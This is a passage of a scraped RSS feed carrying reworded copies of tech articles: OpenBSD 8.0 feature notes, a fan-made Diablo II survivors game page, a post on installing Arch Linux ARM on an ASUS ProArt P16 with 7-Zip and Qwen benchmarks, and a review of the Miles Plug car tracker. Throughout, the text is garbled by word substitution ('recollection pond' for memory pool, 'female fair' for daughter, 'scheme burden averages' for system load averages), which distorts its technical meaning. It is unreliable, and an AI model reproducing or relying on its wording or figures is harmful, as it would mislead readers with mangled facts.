"ath12k" devices.</p></blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1165743693</span><span>82033904</span></a></p><blockquote><p>A new driver, sambat(4), for monitoring power division status, sequence count/charge info on Samsung Galaxy Book4 Edge (Snapdragon arm64) machines.</p></blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1166006745</span><span>74234896</span></a></p><blockquote><p>Accelerated toggle encryption on amd64 and arm64 by using AES CPU instructions.</p></blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1170908422</span><span>36460135</span></a></p><blockquote> <p>OpenBSD/arm64 and OpenBSD/riscv64 boards can now heartbeat blinking LEDs to display scheme burden averages.</p> <p><img rel="emoji" draggable="false" width="16" height="16" alt=":flan_hurrah:" title=":flan_hurrah:" data-original="https://media.bsd.network/custom_emojis/images/000/024/443/original/flan_hurrah.png" data-static="https://media.bsd.network/custom_emojis/images/000/024/443/static/flan_hurrah.png" src="https://media.bsd.network/custom_emojis/images/000/024/443/static/flan_hurrah.png">&#8203; Das Blinkenlights!! <img rel="emoji" draggable="false" width="16" height="16" alt=":flan_hurrah:" title=":flan_hurrah:" data-original="https://media.bsd.network/custom_emojis/images/000/024/443/original/flan_hurrah.png" data-static="https://media.bsd.network/custom_emojis/images/000/024/443/static/flan_hurrah.png" src="https://media.bsd.network/custom_emojis/images/000/024/443/static/flan_hurrah.png">&#8203;</p> </blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1168794791</span><span>68132932</span></a></p><blockquote> <p><a href="https://en.mycoding.id/category/technology" target="_blank" rel="tag">#<span>OpenBSD</span></a> httpd(8) now supports many new features:</p> <ul> <li>Setting tradition HTTP reply headers.</li> <li>New blocking/filtering rules according to received HTTP headers (e.g: User-Agent: )</li> </ul> </blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1173716044</span><span>63587328</span></a></p><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1169791332</span><span>75422995</span></a></p><p>See additionally rsadowski@'s report: <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="nofollow noopener noreferrer"><span>https://</span><span>rsadowski.de/posts/2026/w2k26-</span><span>edmonton-openbsd-hackathon/</span></a></p><p>.. and finally, <img rel="emoji" draggable="false" width="16" height="16" alt=":flan_peek:" title=":flan_peek:" data-original="https://media.bsd.network/custom_emojis/images/000/011/828/original/flan_peek.png" data-static="https://media.bsd.network/custom_emojis/images/000/011/828/static/flan_peek.png" src="https://media.bsd.network/custom_emojis/images/000/011/828/static/flan_peek.png">&#8203;</p><blockquote><p>I made my archetypal commit to <a href="https://en.mycoding.id/category/technology" target="_blank" rel="tag">#<span>OpenSSH</span></a> this publish cycle!</p></blockquote><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"><span>https://</span><span>bsd.network/@brynet/1170078335</span><span>31799959</span></a></p><p>And many additional to see in 8.0! <img rel="emoji" draggable="false" width="16" height="16" alt=":flan_thumbs:" title=":flan_thumbs:" data-original="https://media.bsd.network/custom_emojis/images/000/011/812/original/flan_thumbs.png" data-static="https://media.bsd.network/custom_emojis/images/000/011/812/static/flan_thumbs.png" src="https://media.bsd.network/custom_emojis/images/000/011/812/static/flan_thumbs.png">&#8203;<img rel="emoji" draggable="false" width="16" height="16" alt=":flan_hacker:" title=":flan_hacker:" data-original="https://media.bsd.network/custom_emojis/images/000/011/234/original/flan_hacker.png" data-static="https://media.bsd.network/custom_emojis/images/000/011/234/static/flan_hacker.png" src="https://media.bsd.network/custom_emojis/images/000/011/234/static/flan_hacker.png">&#8203;</p> </div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/openbsd-8-0-release-will-have-inteldrm-radeondrm-amdgpu-drivers-from-linux-6-18-73223</guid> <pubDate>Mon, 19 Oct 2026 22:11:45 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Diablo 2 Survivors]]></title> <description><![CDATA[Diablo 2 Survivors. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/diablo-2-survivors-73224</link> <content:encoded><![CDATA[<div> <div> <h2 data-t="hook1">Diablo II's classes, skills and loot</h2> <p data-t="hook1Text">All seven heroes, their accomplishment trees and D2's own items, from the archetypal autumn to a unique's aureate name.</p> </div> <div> <h2 data-t="hook2">A survivors-style horde</h2> <p data-t="hook2Text">Your skills mold on their own. Walk, choice a cardstock all level, and outlast the five acts, afterward Nightmare and Hell.</p> </div> <div> <h2 data-t="hook3">Your own Diablo II or D2R</h2> <p data-t="hook3Text">Point it at your instal formerly and it plays from your files, in the browser or the desktop app.</p> </div> <h2 id="gallery-heading" data-t="gallery">From the runs</h2> <h2 data-t="news">The latest build</h2> <h2 data-t="ownTitle">Your own files</h2> <p data-t="soon">D2 Survivors runs on your own Diablo II or Diablo II: Resurrected. The browser or the desktop app says your instal formerly and keeps what it needs. Your saves arrive alongside you.</p> <a href="https://en.mycoding.id/category/technology" target="_blank" data-t="ownLink">Set up your files</a> <h2 id="faq-heading" data-t="faqTitle">Questions</h2> <div data-in="en" lang="en"><div id="home-what-en"><h3>What is D2 Survivors?</h3><p>A survivors-like in Diablo II's world. Pick a champion and walk: your skills mold on their own during the hordes come. Seven classes, D2's skills and items, five acts, afterward Nightmare and Hell.</p></div><div id="home-free-en"><h3>Is it free?</h3><p>Yes. No ads, no purchases, nothing locked.</p></div><div id="home-need-en"><h3>Do I need Diablo II? Which versions work?</h3><p>Yes, your own copy: traditional Diablo II alongside Lord of Destruction (patch 1.14), or Diablo II: Resurrected. The equivalent says its art and audio from your install.</p></div><div id="home-upload-en"><h3>Does it upload my equivalent files?</h3><p>No. They're peruse on your device and remain there, in your browser's retention or the app's folder. Nothing is sent.</p></div></div><div data-in="ko" lang="ko"><div id="home-what-ko"><h3>D2 Survivors&#45716; &#47924;&#50631;&#51064;&#44032;&#50836;?</h3><p>&#46356;&#50500;&#48660;&#47196; II&#51032; &#49464;&#44228;&#50640;&#49436; &#54204;&#52432;&#51648;&#45716; &#49436;&#48148;&#51060;&#48260;&#46972;&#51060;&#53356;&#51077;&#45768;&#45796;. &#50689;&#50885;&#51012; &#44256;&#47476;&#44256; &#44152;&#51004;&#47732; &#47792;&#47140;&#50724;&#45716; &#47924;&#47532; &#49549;&#50640;&#49436; &#44592;&#49696;&#51060; &#51200;&#51208;&#47196; &#49884;&#51204;&#46121;&#45768;&#45796;. &#51068;&#44273; &#51649;&#50629;, &#46356;&#50500;&#48660;&#47196; II&#51032; &#44592;&#49696;&#44284; &#50500;&#51060;&#53596;, &#45796;&#49455; &#47561;, &#44536;&#47532;&#44256; &#50501;&#47805;&#44284; &#51648;&#50725;.</p></div><div id="home-free-ko"><h3>&#47924;&#47308;&#51064;&#44032;&#50836;?</h3><p>&#45348;. &#44305;&#44256;&#46020;, &#44208;&#51228;&#46020;, &#51104;&#44596; &#53080;&#53584;&#52768;&#46020; &#50630;&#49845;&#45768;&#45796;.</p></div><div id="home-need-ko"><h3>&#46356;&#50500;&#48660;&#47196; II&#44032; &#54596;&#50836;&#54620;&#44032;&#50836;? &#50612;&#46500; &#48260;&#51204;&#51060; &#46104;&#45208;&#50836;?</h3><p>&#45348;, &#51649;&#51217; &#44032;&#51652; &#44172;&#51076;&#51060; &#54596;&#50836;&#54633;&#45768;&#45796;. &#46356;&#50500;&#48660;&#47196; II&#50752; &#54028;&#44340;&#51032; &#44400;&#51452;(1.14 &#54056;&#52824;) &#46608;&#45716; &#46356;&#50500;&#48660;&#47196; II: &#47112;&#51200;&#47113;&#49496;. &#44536;&#47000;&#54589;&#44284; &#49324;&#50868;&#46300;&#47484; &#49444;&#52824;&#46108; &#44172;&#51076;&#50640;&#49436; &#51069;&#50612; &#50741;&#45768;&#45796;.</p></div><div id="home-upload-ko"><h3>&#45236; &#44172;&#51076; &#54028;&#51068;&#51060; &#50629;&#47196;&#46300;&#46104;&#45208;&#50836;?</h3><p>&#50500;&#45768;&#50836;. &#54028;&#51068;&#51008; &#45236; &#52980;&#54504;&#53552;&#50640;&#49436; &#51069;&#55176;&#44256; &#48652;&#46972;&#50864;&#51200; &#51200;&#51109;&#49548;&#45208; &#50545; &#54260;&#45908;&#50640; &#44536;&#45824;&#47196; &#45224;&#49845;&#45768;&#45796;. &#50612;&#46356;&#50640;&#46020; &#51204;&#49569;&#46104;&#51648; &#50506;&#49845;&#45768;&#45796;.</p></div></div> <a href="https://en.mycoding.id/category/technology" target="_blank" data-t="faqMore">More questions</a> <svg aria-hidden="true"></svg> <div> <h2 id="discord-heading" data-t="discordTitle">Join the Discord</h2> <p data-t="discordText">Bug reports, ideas, and all build's changes as they land.</p> </div> <a data-discord rel="noopener"><span data-t="discordJoin">Join the server</span></a> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/diablo-2-survivors-73224</guid> <pubDate>Mon, 19 Oct 2026 22:10:57 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Putting Linux on my RTX spark laptop because I don't have a Microsoft account]]></title> <description><![CDATA[Putting Linux on my RTX spark laptop because I don't have a Microsoft account. Comments]]></description> <media:thumbnail url="https://josie.lol/screenshot.png?v=20261019"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/putting-linux-on-my-rtx-spark-laptop-because-i-don-t-have-a-microsoft-account-73225</link> <content:encoded><![CDATA[<p>tl;dr - boo hoo microsoft bad. Arch Linux works, keeps up alongside Windows in 7-Zip, and reports the identical 116.0 GiB recollection pond to the OS and CUDA. My first bootable setup and patches are <a href="https://en.mycoding.id/category/technology" target="_blank">here</a>. This is for the ASUS ProArt P16 H7607BA-SE033W: the 128 GB RAM configuration alongside 6,144 CUDA cores and a 2 TB SSD.</p> <p><img alt="Fastfetch showing Arch Linux ARM on the ASUS ProArt P16 alongside an NVIDIA N1X GPU." src="https://josie.lol/blog/images/n1x-arch-linux.jpg"></p> <p>When rumours started circulating concerning a laptop alongside complete 100 GiB of RAM the GPU could access, I started thinking concerning all the things I could build on it and all the optimisations I could expend far too lengthy playing with. I'm extremely pro open-weight models. Being capable to run things locally and disorder about alongside RL, quantisation and fine-tuning on a laptop would be sick. I already publish <a href="https://en.mycoding.id/category/technology" target="_blank">my own GGUF quants on Hugging Face</a>, alongside complete 160,000 downloads in the former month.</p> <p>So I was small pleased to discover out concerning the <a href="https://en.mycoding.id/category/technology" target="_blank">Windows-only authoritative support</a>. There are plentifulness of reasons to dislike Windows. Mine contain <a href="https://en.mycoding.id/category/technology" target="_blank">the</a> <a href="https://en.mycoding.id/category/technology" target="_blank">privacy</a> <a href="https://en.mycoding.id/category/technology" target="_blank">concessions</a> <a href="https://en.mycoding.id/category/technology" target="_blank">during</a> <a href="https://en.mycoding.id/category/technology" target="_blank">setup</a>, the years spent waiting for Microsoft to <a href="https://en.mycoding.id/category/technology" target="_blank">let group put the taskbar on the flank of the display again</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">the advertising</a>. That final nexus is a collage of genuine Windows promotions, <a href="https://en.mycoding.id/category/technology" target="_blank">courtesy of Pureinfotech</a>. You get it. I can go on forever, so let me remain on topic.</p> <p>Arch is my preferred distribution, and I'm <a href="https://en.mycoding.id/category/technology" target="_blank">on the Arch personnel as a bundle maintainer</a>. I already put it on IBM mainframes (<a href="https://en.mycoding.id/category/technology" target="_blank">my FOSDEM slides</a>), so it was continually going to be my starting item here. This build uses <a href="https://en.mycoding.id/category/technology" target="_blank">Arch Linux ARM</a>, the distinct project that ports Arch packages to ARM, alongside the hardware assistance added on top.</p> <p>NVIDIA has been doing kernel activity for Ubuntu, which gave me a starting point. I unified that, fixed the ACPI override allocation and framebuffer mapping needed to get a console, and worked out the ACPI overrides from the laptop's own tables (thanks astra &lt;3). The NVIDIA controller and ASUS speaker firmware came from <em>official places on the internet</em> (pls don't sue me device companies). Keyboard assistance needed a patched hid-asus, and audio needed its own device driver.</p> <p>I put this together into a bootable USB and extended upstream Archinstall 4.5 to instal the hardware support. The <a href="https://en.mycoding.id/category/technology" target="_blank">repo has the build scripts and patches</a>, including the steps to dump your own ACPI tables and extract the speaker firmware from ASUS's controller bundle locally. Mine runs firmware H7607BA.300.</p> <p>The build inputs are hash pinned. The hardware packages I put together complete the weekend are signed alongside my Arch Linux Package Maintainer key, and the ACPI overrides arrive from the laptop itself.</p> <p>The display runs at 3840 &times; 2400 and 120 Hz, and I use NetworkManager, PipeWire, and rootless Podman alongside NVIDIA CDI. The installer holds the kernel, NVIDIA, power-management and firmware packages alongside IgnorePkg, during average packages keep updating from Arch Linux ARM.</p> <h2>CPU performance</h2> <p>I ran the suite on October 19 on native Arch Linux ARM, alongside kernel 7.0.0-1022-nvidia and NVIDIA controller 615.78.08. The laptop was plugged in alongside the achievement overview selected. For the CPU comparison, I used published Windows results.</p> <p>The CPU test is native ARM64 7-Zip 26.04 alongside a fixed 32 MiB dictionary. I ran one warmup and three measured passes at all thread count, afterward took the medians:</p> <p><a href="https://en.mycoding.id/category/technology" target="_blank">StorageReview tested a 128 GB HP OmniBook Ultra 16</a> alongside the identical 20-core N1X, operating native Windows ARM64 binaries. They study 7-Zip ratings in GIPS, so I divided the MIPS ratings in my raw logs by 1,000 to match. Higher is better.</p> <p>Single-thread is basically a tie. With all 20 threads, my Linux setup is concerning 5% onward on compression and 3% onward on decompression. The HP assessment doesn't define its 7-Zip type or dictionary size, so these percentages difference the two laptop setups.</p> <p><a href="https://en.mycoding.id/category/technology" target="_blank">ComputerBase additionally tested a ProArt P16 alongside the 20-core N1X</a>. Converted to GIPS, its Windows 7-Zip mark was 155.774; the median total from my three runs was 157.084. Their outcome sits inner my three-run range of 155.759 to 157.193 GIPS. Their device was the 64 GB configuration and ran 7-Zip 26.00, and the diagram doesn't provision the dictionary size.</p> <h2>The recollection split</h2> <p>The recollection is a bigger flex. My Linux run reports 116.0 GiB as the two scheme RAM and CUDA's total, from the identical bodily pool. Windows <a href="https://en.mycoding.id/category/technology" target="_blank">divides the RAM into dedicated GPU, shared, and CPU-only regions</a>. CPU workloads can't use the dedicated GPU region, and GPU allocations can't use the CPU-only region.</p> <p>The Windows NVIDIA app lets you alter the dedicated booking and reboot; <a href="https://en.mycoding.id/category/technology" target="_blank">Frandroid's 128 GB ProArt P16 reached 96 GiB</a>. CUDA can go beyond that by <a href="https://en.mycoding.id/category/technology" target="_blank">allocating from shared RAM</a>, topic to Windows' recollection budget.</p> <p>With a 91 GiB dedicated reservation, Frandroid's Windows setup reported a CUDA total of 109.7 GiB, including shared memory. My Linux setup reported 116.0 GiB, concerning 6.3 GiB more. What I attention concerning is having the ample pond accessible for CPU activity too, without moving the booking slider and rebooting between workloads.</p> <h2>Running Qwen locally</h2> <p>I ran NVIDIA's <a href="https://en.mycoding.id/category/technology" target="_blank">Qwen3.8-Flash-Next-FP4-Local checkpoint</a> through vLLM alongside B12X CUDA kernels in a native ARM64 container, using blended quantization and FP8 KV cache. I turned off thinking for this run.</p> <p>Before loading the model, Linux reported 110.9 GiB of accessible RAM. vLLM logged 68.2 GiB for example loading and allocated another 21.1 GiB to the KV cache. That's nearly 90 GiB allocated to the example and KV cache on a laptop.</p> <p>Model loading and compilation took concerning 16 minutes before the archetypal request. The timings below commencement following warmup. PLE embedding tables are backed by disk and advantage from a heated leaf cache; another components use CPU offload. CUDA handles inference, alongside several of the example exterior GPU memory.</p> <p>I gave Qwen two buggy Python helpers to review, a lengthy event log alongside one unsuccessful procedure to find, and a fee note to rotate into JSON. Each project ran three times following warmup, alongside known answers to inspect against. I wanted to cognize how lengthy I'd delay and whether it returned the correct fields.</p> <p>The event project peruse nearly 10,000 tokens and returned the accurate request, cause, and next act in under 6 s. Its answer was lone 39 tokens long, which comes to 6.8 tokens/s complete the entire request. Most of the delay went into handling the prompt, so for this project the reply period tells me additional than the tokens/s figure.</p> <p>For code review, I estimated generation speed as (output tokens &minus; 1) / (response period &minus; period to archetypal token), alongside the two times in seconds. This includes stream overhead. <a href="https://en.mycoding.id/category/technology" target="_blank">Frandroid ran Qwen3.8-Flash-Next coding tasks on its Windows ProArt</a>:</p> <p>Both ProArt setups are about 30 tokens/s. For inference, Frandroid used an 85 GiB dedicated booking and a environment bounds of 262,144 tokens; my environment bounds was 32,768 tokens. The prompts, quants, runtimes, and timing methods differ. This compares two operating configurations; it doesn't isolate the consequence of the OS.</p> <p>I additionally sent four code reviews at once. The median lot completed in 5.314 s, producing 86.6 output tokens/s throughout all four requests combined. That charge includes immediate handling and reply overhead. All 12 answers passed complete three batches.</p> <p>Then I remaining it cycling through the three tasks, one petition at a time, for ten minutes. It completed 150 requests, 50 of each, and all answer passed the checks. Median reply times were 4.036 s for code review, 5.921 s for the log, and 2.046 s for extraction. Comparing the archetypal ten and final ten repetitions of all task, median reply times grew by small than 1.6%.</p> <p>All 171 measured responses passed the checks. That's three prompts repeated alongside deterministic decoding; the code-review inspect verifies the regression outputs. I kept all answer and raw event stream and checked them against the summaries.</p>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/putting-linux-on-my-rtx-spark-laptop-because-i-don-t-have-a-microsoft-account-73225</guid> <pubDate>Mon, 19 Oct 2026 22:08:18 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[I tried a $99 plug that promises to track your car and send help when needed — without selling your data]]></title> <description><![CDATA[I tried a $99 plug that promises to track your car and send help when needed — without selling your data. My 15-year-old female fair got her learner's permit, so whenever I was thrown a new gadget tailored to adolescent drivers, I was intrigued. The Miles Plug is a small d...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6271.jpeg?quality=90&amp;strip=all&amp;crop=0%2C10.732984293194%2C100%2C78.534031413613&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/i-tried-a-99-plug-that-promises-to-track-your-car-and-send-help-when-needed-without-selling-your-data-73222</link> <content:encoded><![CDATA[<div id="zephr-anchor"><p>My 15-year-old female fair got her learner&rsquo;s permit, so whenever I was thrown a new gadget tailored to adolescent drivers, I was intrigued. The <a href="https://en.mycoding.id/category/technology" target="_blank">Miles Plug</a> is a small equipment that plugs into your car&rsquo;s OBD-II harbor and monitors location, driving habits, and conveyance health, alongside alongside emergency accident reply and roadside assistance.</p><p>The idea is that knowing all these things should assistance me awareness additional comfortable whenever my female starts driving alone. I tested the (now discontinued) <a href="https://en.mycoding.id/category/technology" target="_blank">Ring Car Cam</a> whenever my son was learning to drive, but he hated it and refused to rotate it on; I wondered if the Miles could provision the identical harmony of intellect without emotion as intrusive.</p><div><div id=":Rcgmpjmlmn6:"><div><div><div class=""><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="3840" data-pswp-width="5760" target="_blank" rel="noreferrer"><img alt="" data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6253.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400"></a></p></div></div><p><figcaption><em>Miles Plug is a small equipment without a display or power division that plugs into your car&rsquo;s OBD-II port,</em></figcaption></p></div></div><div><div class=""><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="3840" data-pswp-width="5760" target="_blank" rel="noreferrer"><img alt="" data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6251.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400"></a></p></div></div><p><figcaption><em>This is the rear. It slotted into the harbor on my Toyota easily.</em></figcaption></p></div></div></div></div></div><p>Billed as &ldquo;a wearable for your car,&rdquo; Miles is a small cellular and GPS-enabled equipment that connects to an app to provision real-time location, alerts, and driving insights (speeding, difficult braking, trip recaps). The app additionally features an AI chatbot called the Miles Mechanic that decodes alert lights, tells you how urgent a fix is, and estimates repair costs.</p><p>Miles was developed by cofounders Matt McGovren and Kit Klein, who have a firm astute residence pedigree. They worked at Wink in the first days and bring blended cognition from Amazon (Ring and Blink), Ubiquiti&rsquo;s astute residence line, and another companies. &ldquo;We built Miles to assistance teens and parents together, and keep them on the identical team,&rdquo; stated McGovren <a href="https://en.mycoding.id/category/technology" target="_blank">in a media release</a>. &ldquo;Parents and teens see the identical trips and the identical alerts alongside nothing hidden, construction rely alternatively of suspicion.&rdquo;</p><div><div><p>You&rsquo;re the customer, you&rsquo;re not the product. Your data is not the product.</p><p><cite>&mdash; Matt McGovren</cite></p></div></div><p>Miles is accessible today at <a href="https://en.mycoding.id/category/technology" target="_blank">mileslabs.com</a> and expenses $99, affirmative $180 for a twelvemonth of affiliation ($279 total, or $15 a month). A three-year scheme is $396 alongside the Plug included ($11 a month). All plans are paid upfront alongside no auto-renewal. Anyone in the family can download and use the app, alongside all controller getting their own overview and alerts. Miles says it&rsquo;s compatible alongside most gas and hybrid cars from 2008 onward and several EVs (there&rsquo;s a <a href="https://en.mycoding.id/category/technology" target="_blank">compatibility checker</a>).</p><p>While the prices appear steep, McGovren&rsquo;s throw is that it covers multiple services you power already be paying for: &ldquo;You could part together a roadside service, a family tracking assistance &hellip; and afterward you&rsquo;re looking at $30, $40 a month,&rdquo; he stated in an discussion alongside <em>The Verge.</em> And, dissimilar your <a href="https://en.mycoding.id/category/technology" target="_blank">car&rsquo;s own tagged app</a>, Miles isn&rsquo;t marketing your data. Automakers have been <a href="https://en.mycoding.id/category/technology" target="_blank">caught collecting and selling</a> driving data, alongside GM <a href="https://en.mycoding.id/category/technology" target="_blank">being banned from marketing data</a> to brokers for five years.</p><p>McGovren says Miles volition never market vehicle, trip, or location data, and the app has no ads: &ldquo;You&rsquo;re the customer, you&rsquo;re not the product. Your data is not the product.&rdquo; He says, &ldquo;All the conveyance and trip data is encrypted,&rdquo; adding that &ldquo;the most delicate data is end-to-end encrypted.&rdquo; Additionally, the location data is tied to the car, not the phone, so it stops tracking whenever you stroll away. The app lets you download your data, halt location collection, and delete your document and all its data.</p><div><div><div><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="3840" data-pswp-width="5760" target="_blank" rel="noreferrer"><img alt="The Miles is extremely small and plant alongside most gas and hybrid cars made in 2008 or later." data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1080 1080w, 